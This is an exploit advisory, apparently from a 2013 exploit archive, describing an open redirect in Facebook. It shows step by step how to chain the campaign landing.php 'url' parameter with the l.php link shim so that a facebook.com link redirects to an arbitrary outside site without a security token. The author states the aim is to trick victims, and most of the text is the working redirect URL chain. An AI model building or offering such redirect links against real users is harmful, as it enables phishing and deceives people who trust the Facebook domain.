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Facebook URL open redirection

Author: The Black Devils , Published: 02-12-2013
# Exploit Title: Facebook URL open Redirection
# Date: 05/11/2013 - 01/01/1435
# Exploit Author: The Black Devils " Asesino04"
# Vendor Homepage: http://www.facebook.com/
# Tested on: Mozilla firefox

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First let's talk about redirection in facebook when you send a link to someone in facebook chat or post
facebook create a security token for every single link , so your link must be like that so you can rediect
http://www.facebook.com/l.php?u=attackersite.com&h=security token
using this exploit you wont need security token and you can trick victimes easily

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# You go this page
https://developers.facebook.com/docs/android/
and you copy the link of "download sdk"

https://www.facebook.com/campaign/landing.php?campaign_id=282184128580929&placement=Android_SDK&url=https://developers.facebook.com/resources/facebook-android-sdk-current.zip


# you keep only this
https://www.facebook.com/campaign/landing.php?campaign_id=282184128580929&placement=Android_SDK&url=

# then you add to it
https://www.facebook.com/l.php?u=http%3A%2F%2F1337day.com%2F

#so it became like that :

https://www.facebook.com/campaign/landing.php?campaign_id=282184128580929&placement=Android_SDK&url=https://www.facebook.com/l.php?u=http%3A%2F%2F1337day.com%2F

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